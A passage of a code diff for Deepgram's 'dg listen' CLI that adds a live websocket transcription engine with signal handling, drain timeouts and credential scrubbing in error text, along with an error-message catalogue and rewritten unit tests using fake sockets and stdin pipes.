+    """Audio time covered by a final result, if this message is one."""
+    if data.get("type") == "Results" and data.get("is_final"):
+        try:
+            return float(data.get("start", 0.0)) + float(data.get("duration", 0.0))
+        except (TypeError, ValueError):
+            return None
+    if data.get("type") == "TurnInfo" and data.get("event") == "EndOfTurn":
+        try:
+            return float(data.get("audio_window_end", 0.0))
+        except (TypeError, ValueError):
+            return None
+    return None
+
+
+_AUTH_RE = re.compile(r"(?i)\b(token|bearer)\s+\S+")
+
+
+def _clean(text: object, limit: int = 200, secrets: tuple[str, ...] = ()) -> str:
+    """Server-supplied text for a message: one line, printable, no
+    credentials, bounded. Secrets are scrubbed before the cut, so a
+    truncation can't leave part of one."""
+    out = "".join(ch if ch.isprintable() else " " for ch in str(text))
+    for secret in secrets:
+        if len(secret) >= 8:  # a real credential, not a stray letter
+            out = out.replace(secret, "****" + secret[-4:])
+    out = _AUTH_RE.sub(r"\1 ****", out)
+    return out.strip()[:limit]
+
+
+def _closed_outcome(exc: BaseException, secrets: tuple[str, ...]) -> LiveOutcome | None:
+    """The outcome for a connection that ended, or None for a clean close."""
+    try:
+        from websockets.exceptions import ConnectionClosed, ConnectionClosedOK
+    except Exception:  # pragma: no cover - websockets is a hard dependency
+        return LiveOutcome(
+            status="error", kind="network", error=_clean(exc, 200, secrets)
+        )
+    if isinstance(exc, ConnectionClosedOK):
+        return None
+    if isinstance(exc, ConnectionClosed):
+        rcvd = getattr(exc, "rcvd", None)
+        if rcvd is not None:
+            reason = _clean(getattr(rcvd, "reason", ""), 200, secrets)
+            code = getattr(rcvd, "code", None)
+            text = (
+                msg.E_LISTEN_SERVER_CLOSED.format(close_code=code, close_reason=reason)
+                if reason
+                else msg.E_LISTEN_SERVER_CLOSED_NO_REASON.format(close_code=code)
+            )
+            return LiveOutcome(
+                status="error",
+                kind="server",
+                error=text,
+                close_code=code if isinstance(code, int) else None,
+            )
+        return LiveOutcome(
+            status="error", kind="network", error=msg.E_LISTEN_CONNECTION_LOST
+        )
+    return LiveOutcome(
+        status="error",
+        kind="network",
+        error=_clean(exc, 200, secrets) or exc.__class__.__name__,
+    )
+
+
+def silence_stdout() -> None:
+    """The reader of stdout went away (EPIPE): point fd 1 at the null
+    device, so buffered output and later writes, including the flush at
+    exit, succeed quietly."""
+    try:
+        devnull = os.open(os.devnull, os.O_WRONLY)
+        os.dup2(devnull, 1)
+        os.close(devnull)
+    except OSError:
+        pass
+
+
+def _is_connection_closed(exc: BaseException) -> bool:
+    try:
+        from websockets.exceptions import ConnectionClosed
+    except Exception:  # pragma: no cover - websockets is a hard dependency
+        return False
+    return isinstance(exc, ConnectionClosed)
+
+
+class _SignalGuard:
+    """Ctrl-C (and Ctrl-Break on Windows) and, on POSIX, SIGTERM → ``stop``.
+
+    The first signal starts the drain; ``signum`` records which one it was.
+    A second signal ends the process at once: by SIGTERM if either signal
+    was SIGTERM, else with exit 2. Uses ``signal.signal`` rather than
+    ``loop.add_signal_handler``, which is Unix-only. Outside the main thread
+    (tests) it installs nothing.
+    """
+
+    def __init__(self, loop: asyncio.AbstractEventLoop, stop: asyncio.Event) -> None:
+        self._loop = loop
+        self._stop = stop
+        self._count = 0
+        self._previous: dict[int, Any] = {}
+        self.signum: int | None = None
+
+    def _handler(self, signum: int, _frame: Any) -> None:
+        self._count += 1
+        if self._count == 1:
+            self.signum = signum
+            try:
+                self._loop.call_soon_threadsafe(self._stop.set)
+                return
+            except BaseException:
+                pass
+        # Second signal, or the loop is already gone: leave without
+        # draining. stdout was flushed line by line.
+        sigterm = getattr(signal, "SIGTERM", None)
+        if sigterm is not None and sigterm in (signum, self.signum) and os.name != "nt":
+            die_by_signal(sigterm)
+        os._exit(2)
+
+    def install(self) -> None:
+        if threading.current_thread() is not threading.main_thread():
+            return
+        sigs = [signal.SIGINT]
+        sigbreak = getattr(signal, "SIGBREAK", None)
+        if sigbreak is not None:
+            sigs.append(sigbreak)
+        if os.name != "nt":
+            sigs.append(signal.SIGTERM)
+        for sig in sigs:
+            try:
+                self._previous[sig] = signal.signal(sig, self._handler)
+            except (OSError, ValueError):
+                pass
+
+    def restore(self) -> None:
+        for sig, previous in self._previous.items():
+            try:
+                signal.signal(sig, previous)
+            except (OSError, ValueError, TypeError):
+                pass
+        self._previous.clear()
+
+
+class EarlyStop:
+    """Ctrl-C for a mic session before ``run_session`` installs its guard.
+
+    Installed before the banner, so a Ctrl-C during the imports or while
+    connecting is recorded instead of raising ``KeyboardInterrupt``; once
+    ``bind`` hands over the session's ``stop`` event, it ends the session
+    like the guard's first signal would. A second Ctrl-C exits at once.
+    asyncio.run leaves a non-default SIGINT handler alone, so this one stays
+    in place until ``restore``. Outside the main thread it does nothing.
+    """
+
+    def __init__(self) -> None:
+        self.signum: int | None = None
+        self._loop: asyncio.AbstractEventLoop | None = None
+        self._stop: asyncio.Event | None = None
+        self._previous: Any = None
+        self._installed = False
+
+    def _handler(self, signum: int, _frame: Any) -> None:
+        if self.signum is not None:
+            os._exit(2)
+        self.signum = signum
+        if self._loop is not None and self._stop is not None:
+            try:
+                self._loop.call_soon_threadsafe(self._stop.set)
+            except RuntimeError:
+                pass
+
+    def install(self) -> None:
+        if threading.current_thread() is not threading.main_thread():
+            return
+        try:
+            self._previous = signal.signal(signal.SIGINT, self._handler)
+            self._installed = True
+        except (OSError, ValueError):
+            pass
+
+    def bind(self, loop: asyncio.AbstractEventLoop) -> asyncio.Event:
+        """The ``stop`` event for ``run_session``; already set if Ctrl-C came."""
+        self._stop = asyncio.Event()
+        self._loop = loop
+        if self.signum is not None:
+            self._stop.set()
+        return self._stop
+
+    def restore(self) -> None:
+        if self._installed:
+            try:
+                signal.signal(signal.SIGINT, self._previous)
+            except (OSError, ValueError, TypeError):
+                pass
+            self._installed = False
+
+
+def die_by_signal(signum: int) -> None:
+    """End the process by ``signum`` with its default action, so the wait
+    status is "killed by signal N" (shells report 128+N).
+
+    PID 1 in a container ignores a default-action signal, so if the process
+    is still here afterwards it exits with the shell's 128+N.
+    """
+    import sys
+
+    for stream in (sys.stdout, sys.stderr):
+        try:
+            stream.flush()
+        except Exception:
+            pass
+    try:
+        signal.signal(signum, signal.SIG_DFL)
+        os.kill(os.getpid(), signum)
+        time.sleep(0.05)
+    except Exception:
+        pass
+    os._exit(128 + signum)
+
+
+async def _cancel_all(*tasks: asyncio.Task[Any] | None) -> None:
+    live = [t for t in tasks if t is not None]
+    for task in live:
+        if not task.done():
+            task.cancel()
+    for task in live:
+        try:
+            await task
+        except BaseException:
+            pass
+
+
+def _open(url: str, headers: dict[str, str], **options: Any) -> Any:
+    """Open the live socket; a redirect on the upgrade, to the same origin
+    or another, raises ``RedirectRefused`` before a second connection, so
+    the key and the audio go only to the host that passed the host check."""
+    from deepctl_core.websocket import open_async
+
+    return open_async(url, headers, command="dg listen", payload="audio", **options)
+
+
+async def run_session(
+    url: str,
+    headers: dict[str, str],
+    *,
+    on_message: Callable[[str | bytes], None],
+    queue: asyncio.Queue[Any],
+    closing: threading.Event,
+    start_source: Callable[[], None],
+    byte_rate: int,
+    stop: asyncio.Event | None = None,
+) -> LiveOutcome:
+    """Run one live session; see the module docstring for how it ends.
+
+    ``queue`` carries audio ``bytes``, ``b""`` at end of input, or an
+    exception from the source. ``start_source`` starts the producer once the
+    socket is open. ``byte_rate`` is the audio byte rate when it is known
+    (raw PCM, mulaw, alaw), else 0. ``closing`` is set before any task is
+    cancelled, so the producer stops handing over audio first.
+    """
+    loop = asyncio.get_running_loop()
+    stop = stop or asyncio.Event()
+    guard = _SignalGuard(loop, stop)
+    guard.install()
+    clock = _Clock()
+    now = time.monotonic
+    # Values that must never be echoed back (the credential in the header).
+    secrets = tuple(v.split(" ", 1)[-1] for v in headers.values())
+    request_id: str | None = None
+    ws: Any = None
+    tasks: dict[str, asyncio.Task[Any] | None] = {}
+    last: list[LiveOutcome] = []
+
+    def track(raw: str | bytes) -> None:
+        nonlocal request_id
+        clock.last_server = now()
+        try:
+            data = json.loads(raw)
+        except Exception:
+            return
+        if isinstance(data, dict):
+            rid = data.get("request_id") or (data.get("metadata") or {}).get(
+                "request_id"
+            )
+            if isinstance(rid, str) and not request_id:
+                request_id = _clean(rid, 100, secrets)
+            end = _final_end(data)
+            if end is not None:
+                clock.last_final_end = max(clock.last_final_end, end)
+
+    async def receive() -> LiveOutcome | None:
+        """Read until the server closes. Returns the failure, or None."""
+        try:
+            async for raw in ws:
+                track(raw)
+                on_message(raw)
+        except BrokenPipeError:
+            # Whoever read stdout is gone (``| head -n 1``): end quietly.
+            silence_stdout()
+            return LiveOutcome(stdout_closed=True)
+        except click.ClickException as exc:
+            # A server-reported error frame (Flux "Error").
+            return LiveOutcome(
+                status="error", kind="server", error=_clean(exc.message, 200, secrets)
+            )
+        except Exception as exc:
+            return _closed_outcome(exc, secrets)
+        return None
+
+    def ended(result: LiveOutcome | None) -> LiveOutcome:
+        out = result or LiveOutcome()
+        out.request_id = request_id
+        last.append(out)
+        return out
+
+    async def send_audio() -> str:
+        """Send audio until end of input, then CloseStream. Returns "eof"."""
+        while True:
+            item = await queue.get()
+            if isinstance(item, BaseException):
+                raise item
+            if not item:
+                break
+            await ws.send(item)
+            t = now()
+            clock.last_audio = t
+            if clock.first_send is None:
+                clock.first_send = t
+            clock.bytes_sent += len(item)
+        clock.eof_at = now()
+        await ws.send(CLOSE_STREAM)
+        return "eof"
+
+    def eof_cap() -> float:
+        if byte_rate:
+            behind = clock.bytes_sent / byte_rate - clock.last_final_end
+        else:
+            start = clock.first_send if clock.first_send is not None else clock.eof_at
+            behind = (clock.eof_at or now()) - (start or now())
+        return max(EOF_CAP_MIN_S, 2.0 * max(0.0, behind))
+
+    async def finish_on_stop(deadline: float) -> LiveOutcome:
+        """Ctrl-C: stop sending, CloseStream, wait for the server until deadline."""
+        closing.set()
+        await _cancel_all(tasks.get("send"))
+        recv = tasks["recv"]
+        assert recv is not None
+        if clock.eof_at is None and not recv.done():
+            try:
+                await asyncio.wait_for(
+                    ws.send(CLOSE_STREAM), max(0.0, deadline - now())
+                )
+            except BaseException:
+                pass
+        if not recv.done():
+            await asyncio.wait({recv}, timeout=max(0.0, deadline - now()))
+        done = recv.done() and not recv.cancelled()
+        return LiveOutcome(
+            status="cancelled",
+            incomplete=not done,
+            signal=guard.signum,
+            request_id=request_id,
+        )
+
+    try:
+        stop_wait = asyncio.ensure_future(stop.wait())
+        tasks["stop"] = stop_wait
+        connect = asyncio.ensure_future(
+            _open(url, headers, close_timeout=CLOSE_TIMEOUT_S)
+        )
+        tasks["connect"] = connect
+        await asyncio.wait({connect, stop_wait}, return_when=asyncio.FIRST_COMPLETED)
+        if not connect.done():
+            closing.set()
+            await _cancel_all(connect)
+            return LiveOutcome(status="cancelled", signal=guard.signum)
+        ws = connect.result()
+        clock.last_server = clock.last_audio = now()
+
+        start_source()
+        recv = asyncio.ensure_future(receive())
+        send = asyncio.ensure_future(send_audio())
+        tasks.update(recv=recv, send=send)
+
+        # ── Streaming ─────────────────────────────────────────────────
+        await asyncio.wait({recv, send, stop_wait}, return_when=asyncio.FIRST_COMPLETED)
+
+        if stop_wait.done():
+            return await finish_on_stop(now() + STOP_DRAIN_S)
+
+        if recv.done():
+            return ended(recv.result())
+
+        # The sender finished first: end of input, or a failure.
+        try:
+            send.result()
+        except Exception as exc:
+            if _is_connection_closed(exc):
+                # The socket went away while sending; the receiver has the
+                # reason (or soon will).
+                await asyncio.wait({recv}, timeout=CLOSE_TIMEOUT_S)
+                return ended(
+                    recv.result() if recv.done() else _closed_outcome(exc, secrets)
+                )
+            reason = getattr(exc, "strerror", None) or exc
+            return ended(
+                LiveOutcome(
+                    status="error",
+                    kind="read",
+                    error=msg.E_LISTEN_STDIN_UNREADABLE.format(
+                        os_error=_clean(reason, 200, secrets)
+                    ),
+                )
+            )
+
+        # ── End of input: drain ───────────────────────────────────────
+        assert clock.eof_at is not None
+        cap = eof_cap()
+        cap_at = clock.eof_at + cap
+        while True:
+            idle_at = max(clock.eof_at, clock.last_server) + EOF_IDLE_S
+            wake = min(idle_at, cap_at)
+            remaining = wake - now()
+            if remaining <= 0:
+                closing.set()
+                if cap_at <= idle_at:
+                    return ended(
+                        LiveOutcome(
+                            status="drain_timeout",
+                            drain_reason="cap",
+                            drain_limit_s=cap,
+                        )
+                    )
+                return ended(
+                    LiveOutcome(
+                        status="drain_timeout",
+                        drain_reason="idle",
+                        drain_limit_s=EOF_IDLE_S,
+                    )
+                )
+            await asyncio.wait(
+                {recv, stop_wait},
+                timeout=remaining,
+                return_when=asyncio.FIRST_COMPLETED,
+            )
+            if recv.done():
+                return ended(recv.result())
+            if stop_wait.done():
+                return await finish_on_stop(now() + STOP_DRAIN_S)
+    finally:
+        # Order matters: stop the producer before cancelling anything, so a
+        # hand-off cancelled below can't surface in the reader thread.
+        closing.set()
+        await _cancel_all(*(t for k, t in tasks.items() if k != "recv"))
+        recv_task = tasks.get("recv")
+        if ws is not None:
+            if recv_task is None or not recv_task.done():
+                # The server hasn't closed: don't wait for its handshake.
+                transport = getattr(ws, "transport", None)
+                if transport is not None:
+                    transport.abort()
+            close = getattr(ws, "close", None)
+            if close is not None:
+                try:
+                    await asyncio.wait_for(close(), CLOSE_TIMEOUT_S)
+                except BaseException:
+                    pass
+        await _cancel_all(recv_task)
+        guard.restore()
+        # A signal that landed while the server was closing still counts:
+        # the clean close becomes a stop by that signal.
+        if guard.signum is not None:
+            for out in last:
+                if out.status == "success" and not out.stdout_closed:
+                    out.status = "cancelled"
+                    out.signal = guard.signum
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
new file mode 100644
index 00000000..6011ac93
--- /dev/null
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
@@ -0,0 +1,72 @@
+"""User-facing strings for ``dg listen``'s live path, keyed by message ID.
+
+Every ID and string matches the error catalogue (``error_codes.json``)
+exactly; the attribute name is the ID with ``-`` as ``_``.
+"""
+
+from __future__ import annotations
+
+# ── Catalogue ──────────────────────────────────────────────────────────────
+
+CODE_INVALID_ARGUMENT = "invalid_argument"
+CODE_STREAM_DRAIN_TIMEOUT = "stream_drain_timeout"
+CODE_SERVER_ERROR = "server_error"
+CODE_NETWORK_UNAVAILABLE = "network_unavailable"
+
+# invalid_argument: reading stdin failed.
+E_LISTEN_STDIN_UNREADABLE = "Couldn't read audio from stdin: {os_error}."
+H_LISTEN_STDIN_UNREADABLE = (
+    "Pass a file path or URL instead, or make sure stdin is an open pipe "
+    "or file with audio in it."
+)
+A_LISTEN_STDIN_UNREADABLE = (
+    "Pass the audio file path or URL as SOURCE instead of reading stdin, then retry."
+)
+
+# stream_drain_timeout: end of input, then the idle deadline or the cap.
+E_DRAIN_TIMEOUT = (
+    "The server sent nothing for {limit_s} s after the audio ended, "
+    "so results may be incomplete."
+)
+E_DRAIN_CAP = (
+    "The server was still sending results {limit_s} s after the audio ended, "
+    "so results may be incomplete."
+)
+H_DRAIN_TIMEOUT = "Results received so far were kept. Try again if you need the rest."
+
+# server_error / network_unavailable hints (the error text is the stream's own).
+H_SERVER = (
+    "Try again in a moment. If it keeps failing, contact Deepgram support "
+    "with the request ID in details."
+)
+A_SERVER = (
+    "Retry once after a few seconds. If it fails again, tell the user and "
+    "include details.request_id."
+)
+H_NETWORK = "Check your network connection and proxy settings, then try again."
+A_NETWORK = (
+    "{prog} can't reach Deepgram from this environment. If you run in a "
+    "sandbox, ask the user to allow network access for {prog}."
+)
+
+# ── Live-stream messages ───────────────────────────────────────────────────
+
+# Ctrl-C or SIGTERM: the server didn't finish within the 1 s drain.
+W_LISTEN_STOP_INCOMPLETE = (
+    "The server hadn't sent its last results after 1 s, "
+    "so the transcript may be incomplete."
+)
+
+# server_error: the server closed the stream with an error close code.
+E_LISTEN_SERVER_CLOSED = (
+    "The server ended the stream with an error ({close_code}): {close_reason}"
+)
+E_LISTEN_SERVER_CLOSED_NO_REASON = (
+    "The server ended the stream with an error ({close_code})."
+)
+
+# server_error: Flux (listen v2) reported an error in an Error frame.
+E_LISTEN_FLUX_ERROR = "Flux STT error ({flux_code}): {description}"
+
+# network_unavailable: the connection dropped without a closing handshake.
+E_LISTEN_CONNECTION_LOST = "The connection to the server was lost."
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/models.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/models.py
index f05f5921..f79214b7 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/models.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/models.py
@@ -4,7 +4,7 @@
 
 from typing import Any
 
-from deepctl_core import BaseResult
+from deepctl_core import BaseResult, CodedErrorResult
 
 
 class ListenResult(BaseResult):
@@ -30,3 +30,20 @@ class ListenResult(BaseResult):
     full_result: dict[str, Any] | None = None  # raw Deepgram API response
     probe_info: dict[str, Any] | None = None
     duration_seconds: float = 0.0
+
+
+class ListenCodedError(CodedErrorResult):
+    """A coded error from ``dg listen``, keys in the catalogue's order.
+
+    ``details`` is left out of the payload when there are none.
+    """
+
+    next_step: str | None = None
+    schema_version: int = 1
+    details: dict[str, Any] | None = None
+
+    def model_dump(self, **kwargs: Any) -> dict[str, Any]:
+        data = super().model_dump(**kwargs)
+        if data.get("details") is None:
+            data.pop("details", None)
+        return data
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
index c0fecbfb..f3e2da3d 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
@@ -17,6 +17,7 @@
 
 
 def _install_flux_error_websockets(monkeypatch, ready=None):
+    """A server that sends one Flux Error frame (after ``ready()``), then ends."""
     import asyncio
     import json
     import sys
@@ -31,12 +32,17 @@ def _install_flux_error_websockets(monkeypatch, ready=None):
     )
 
     class _FakeWS:
+        transport = None
+
         def __init__(self):
             self.messages = iter([error_frame])
 
         async def send(self, _data):
             return None
 
+        async def close(self):
+            return None
+
         def __aiter__(self):
             return self
 
@@ -48,17 +54,70 @@ async def __anext__(self):
             except StopIteration:
                 raise StopAsyncIteration from None
 
-    class _FakeConnect:
-        async def __aenter__(self):
-            return _FakeWS()
+    _install_websockets(monkeypatch, _FakeWS())
 
-        async def __aexit__(self, *_args):
-            return False
 
-    monkeypatch.setattr(
-        "deepctl_cmd_listen.command._live_connect",
-        lambda *_args, **_kwargs: _FakeConnect(),
-    )
+def _install_websockets(monkeypatch, ws):
+    """Make ``await websockets.connect(...)`` return ``ws``."""
+    import sys
+    import types
+
+    class _Connect:
+        def __await__(self):
+            async def _open():
+                return ws
+
+            return _open().__await__()
+
+    fake = types.ModuleType("websockets")
+    fake.connect = lambda *_args, **_kwargs: _Connect()
+    monkeypatch.setitem(sys.modules, "websockets", fake)
+    monkeypatch.setattr("deepctl_cmd_listen.live._open", fake.connect)
+
+
+def _stdin_pipe(monkeypatch, data=b"", *, close=True):
+    """Point the live stdin reader at a pipe holding ``data``.
+
+    Returns the write end when ``close`` is False (the pipe stays open, so
+    the reader blocks), else None.
+    """
+    import os
+
+    r, w = os.pipe()
+    if data:
+        os.write(w, data)
+    if close:
+        os.close(w)
+        w = None
+    monkeypatch.setattr("deepctl_cmd_listen.command._stdin_fd", lambda: r)
+    return w
+
+
+class _EndOnCloseStream:
+    """A server that ends the stream when CloseStream arrives."""
+
+    transport = None
+
+    def __init__(self):
+        import asyncio
+
+        self.sent = []
+        self.ended = asyncio.Event()
+
+    async def send(self, data):
+        self.sent.append(data)
+        if "CloseStream" in str(data):
+            self.ended.set()
+
+    async def close(self):
+        self.ended.set()
+
+    def __aiter__(self):
+        return self
+
+    async def __anext__(self):
+        await self.ended.wait()
+        raise StopAsyncIteration
 
 
 class TestListenCommand:
@@ -365,6 +424,7 @@ def test_click_flux_error_frame_exits_nonzero(
     ):
         """A stdin Error frame propagates through the stream and Click boundary."""
         _install_flux_error_websockets(monkeypatch)
+        _stdin_pipe(monkeypatch)
 
         result = self.invoke_click(
             command,
@@ -961,46 +1021,39 @@ def test_captions_use_audio_window_and_survive_batch_save(self, command):
         assert "my account" in batch
         assert "00:00:01,000 --> 00:00:02,500" in batch
 
-    def test_ws_mic_flushes_final_turn_on_keyboard_interrupt(
-        self, command, monkeypatch
-    ):
-        """Ctrl-C during a Flux mic stream must still flush the in-flight turn.
-
-        The interrupt surfaces at the ``asyncio.gather`` await; ``_ws_mic`` has
-        to catch it, run ``_flush_v2``, and return the accumulated transcript
-        (rather than letting the final turn vanish)."""
+    def test_ws_mic_flushes_final_turn_on_ctrl_c(self, command, monkeypatch):
+        """Ctrl-C during a Flux mic stream must still flush the in-flight turn,
+        with CloseStream sent. Ctrl-C is how a mic session ends, so the
+        result is a success (exit 0), as in 0.4.0."""
         import asyncio as _asyncio
+        import signal
         import sys
         import types
         from unittest.mock import MagicMock
 
-        # _ws_mic imports these at call time; stub them so no hardware/net is hit.
-        for name in ("sounddevice", "numpy"):
-            monkeypatch.setitem(sys.modules, name, types.ModuleType(name))
-
-        class _FakeWS:
-            async def send(self, *a):
-                return None
-
-            def __aiter__(self):
-                return self
+        class _FakeInputStream:
+            def __init__(self, **_kwargs):
+                pass
 
-            async def __anext__(self):
-                raise StopAsyncIteration
+            def start(self):
+                pass
 
-        class _FakeConnect:
-            async def __aenter__(self):
-                return _FakeWS()
+            def stop(self):
+                pass
 
-            async def __aexit__(self, *a):
-                return False
+            def close(self):
+                pass
 
-        monkeypatch.setattr(
-            "deepctl_cmd_listen.command._live_connect",
-            lambda *a, **k: _FakeConnect(),
-        )
+        fake_sd = types.ModuleType("sounddevice")
+        fake_sd.RawInputStream = _FakeInputStream
+        fake_np = types.ModuleType("numpy")
+        fake_np.int16 = "int16"
+        monkeypatch.setitem(sys.modules, "sounddevice", fake_sd)
+        monkeypatch.setitem(sys.modules, "numpy", fake_np)
+        ws = _EndOnCloseStream()
+        _install_websockets(monkeypatch, ws)
 
-        # A turn received but never finalized (no EndOfTurn before the interrupt).
+        # A turn received but never finalized (no EndOfTurn before Ctrl-C).
         seeded = {
             "turns": {
                 0: {
@@ -1015,18 +1068,12 @@ async def __aexit__(self, *a):
         }
         monkeypatch.setattr(command, "_new_v2_state", lambda: seeded)
 
-        async def _interrupt(*a, **k):
-            raise KeyboardInterrupt
-
-        monkeypatch.setattr("deepctl_cmd_listen.command.asyncio.gather", _interrupt)
-
         client = MagicMock()
         client.config.get_profile.return_value.base_url = "https://api.deepgram.com"
         client.auth_manager.get_api_key.return_value = "k"
 
-        # Drive on a plain loop (not asyncio.run) so the patched gather can't
-        # interfere with run()'s own shutdown machinery.
         loop = _asyncio.new_event_loop()
+        loop.call_later(0.1, signal.raise_signal, signal.SIGINT)
         try:
             result = loop.run_until_complete(
                 command._ws_mic(
@@ -1048,6 +1095,9 @@ async def _interrupt(*a, **k):
             loop.close()
 
         assert result.transcript == "hello world"
+        assert result.status == "success"
+        assert command.exit_code_for(result) == 0
+        assert '{"type": "CloseStream"}' in ws.sent
 
     def test_end_of_turn_with_empty_transcript_is_noop(self, command, capsys):
         """An EndOfTurn that never carried text emits nothing (no blank line)."""
@@ -1173,97 +1223,48 @@ def close(self):
         client.config.get_profile.return_value.base_url = "https://api.deepgram.com"
         client.auth_manager.get_api_key.return_value = "test-key"
 
-        with pytest.raises(click.ClickException) as exc_info:
-            command._stream_mic(
-                client,
-                model="flux-general-en",
-                language="en-US",
-                api_version=2,
-                diarize=False,
-                smart_format=True,
-                punctuate=True,
-                interim=False,
-                redact=(),
-                numerals=False,
-                sample_rate=16000,
-                channels=1,
-                save_to=None,
-                caption_format=None,
-            )
+        result = command._stream_mic(
+            client,
+            model="flux-general-en",
+            language="en-US",
+            api_version=2,
+            diarize=False,
+            smart_format=True,
+            punctuate=True,
+            interim=False,
+            redact=(),
+            numerals=False,
+            sample_rate=16000,
+            channels=1,
+            save_to=None,
+            caption_format=None,
+        )
 
-        assert "INVALID_AUDIO" in exc_info.value.message
-        assert "audio stream is invalid" in exc_info.value.message
+        assert result.status == "error"
+        assert result.code == "server_error"
+        assert command.exit_code_for(result) == 1
+        assert "INVALID_AUDIO" in result.error
+        assert "audio stream is invalid" in result.error
         assert events == {"started": True, "stopped": True, "closed": True}
 
     def test_stream_stdin_flux_error_does_not_wait_for_blocked_input(
         self, command, monkeypatch
     ):
-        import asyncio as _asyncio
-        import json as _json
-        import sys
+        """A server error ends the stream while stdin is still open and idle."""
+        import os
         import threading
-        import types
         from unittest.mock import MagicMock
 
-        read_started = threading.Event()
-        release_read = threading.Event()
-
-        class _BlockingBuffer:
-            def read(self, _size):
-                read_started.set()
-                release_read.wait()
-                return b""
-
-        fake_stdin = types.SimpleNamespace(buffer=_BlockingBuffer())
-        monkeypatch.setattr(
-            "deepctl_cmd_listen.command.sys.stdin", fake_stdin, raising=False
-        )
-
-        error_frame = _json.dumps(
-            {
-                "type": "Error",
-                "code": "INVALID_AUDIO",
-                "description": "audio stream is invalid",
-            }
-        )
-
-        class _FakeWS:
-            def __init__(self):
-                self.sent_error = False
-
-            async def send(self, _data):
-                return None
-
-            def __aiter__(self):
-                return self
-
-            async def __anext__(self):
-                if self.sent_error:
-                    raise StopAsyncIteration
-                while not read_started.is_set():
-                    await _asyncio.sleep(0)
-                self.sent_error = True
-                return error_frame
-
-        class _FakeConnect:
-            async def __aenter__(self):
-                return _FakeWS()
-
-            async def __aexit__(self, *_args):
-                return False
-
-        monkeypatch.setattr(
-            "deepctl_cmd_listen.command._live_connect",
-            lambda *_args, **_kwargs: _FakeConnect(),
-        )
+        writer = _stdin_pipe(monkeypatch, close=False)
+        _install_flux_error_websockets(monkeypatch)
 
         client = MagicMock()
         client.config.get_profile.return_value.base_url = "https://api.deepgram.com"
         client.auth_manager.get_api_key.return_value = "test-key"
-        errors = []
+        results = []
 
         def run_stream():
-            try:
+            results.append(
                 command._stream_stdin(
                     client,
                     model="flux-general-en",
@@ -1281,61 +1282,34 @@ def run_stream():
                     save_to=None,
                     caption_format=None,
                 )
-            except BaseException as exc:
-                errors.append(exc)
+            )
 
         stream_thread = threading.Thread(target=run_stream, daemon=True)
         stream_thread.start()
-        assert read_started.wait(timeout=1)
-        stream_thread.join(timeout=1)
-        exited_before_stdin = not stream_thread.is_alive()
-        release_read.set()
-        stream_thread.join(timeout=1)
-
-        assert exited_before_stdin
-        assert len(errors) == 1
-        assert isinstance(errors[0], click.ClickException)
-        assert "INVALID_AUDIO" in errors[0].message
-
-    def test_stream_stdin_keyboard_interrupt_preserves_transcript_and_save_to(
+        stream_thread.join(timeout=2)
+        exited_while_stdin_open = not stream_thread.is_alive()
+        os.close(writer)
+
+        assert exited_while_stdin_open
+        (result,) = results
+        assert result.status == "error"
+        assert result.code == "server_error"
+        assert "INVALID_AUDIO" in result.error
+
+    def test_stream_stdin_ctrl_c_preserves_transcript_and_save_to(
         self, command, monkeypatch, tmp_path
     ):
         """Ctrl-C on `dg listen -` (stdin) keeps the partial transcript and
-        writes --save-to, mirroring the mic path. The stdin path used to
-        re-raise the interrupt and drop both."""
-        import sys
-        import types
+        writes --save-to, and ends as cancelled (exit 2)."""
+        import os
+        import signal
+        import threading
         from unittest.mock import MagicMock
 
-        # No real stdin read: return EOF at once if the reader thread starts.
-        fake_stdin = types.SimpleNamespace(
-            buffer=types.SimpleNamespace(read=lambda _n: b"")
-        )
-        monkeypatch.setattr(
-            "deepctl_cmd_listen.command.sys.stdin", fake_stdin, raising=False
-        )
-
-        class _FakeWS:
-            async def send(self, *a):
-                return None
-
-            def __aiter__(self):
-                return self
-
-            async def __anext__(self):
-                raise StopAsyncIteration
-
-        class _FakeConnect:
-            async def __aenter__(self):
-                return _FakeWS()
-
-            async def __aexit__(self, *a):
-                return False
-
-        monkeypatch.setattr(
-            "deepctl_cmd_listen.command._live_connect",
-            lambda *a, **k: _FakeConnect(),
-        )
+        writer = _stdin_pipe(monkeypatch, close=False)
+        ws = _EndOnCloseStream()
+        _install_websockets(monkeypatch, ws)
+        threading.Timer(0.2, os.kill, (os.getpid(), signal.SIGINT)).start()
 
         # A turn received but never finalized before the interrupt.
         seeded = {
@@ -1352,11 +1326,6 @@ async def __aexit__(self, *a):
         }
         monkeypatch.setattr(command, "_new_v2_state", lambda: seeded)
 
-        async def _interrupt(*a, **k):
-            raise KeyboardInterrupt
-
-        monkeypatch.setattr("deepctl_cmd_listen.command.asyncio.gather", _interrupt)
-
         client = MagicMock()
         client.config.get_profile.return_value.base_url = "https://api.deepgram.com"
         client.auth_manager.get_api_key.return_value = "k"
@@ -1380,5 +1349,8 @@ async def _interrupt(*a, **k):
             caption_format=None,
         )
 
+        os.close(writer)
         assert result.transcript == "hello world"
+        assert result.status == "cancelled"
+        assert command.exit_code_for(result) == 2
         assert save_to.read_text().strip() == "hello world"
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_live.py b/packages/deepctl-cmd-listen/tests/unit/test_live.py
new file mode 100644
index 00000000..2802f4b7
--- /dev/null
+++ b/packages/deepctl-cmd-listen/tests/unit/test_live.py
@@ -0,0 +1,780 @@
+"""Tests for the live streaming engine (deepctl_cmd_listen.live)."""
+
+from __future__ import annotations
+
+import asyncio
+import json
+import os
+import signal
+import subprocess
+import sys
+import textwrap
+import threading
+import time
+import types
+
+import pytest
+from deepctl_cmd_listen import live
+
+
+class FakeWS:
+    """A stand-in server socket. Replays ``frames`` at once and
+    ``after_close`` once CloseStream arrives, then ends the stream if
+    ``close_on_closestream`` (like the real API), or when ``finish()`` is
+    called."""
+
+    def __init__(
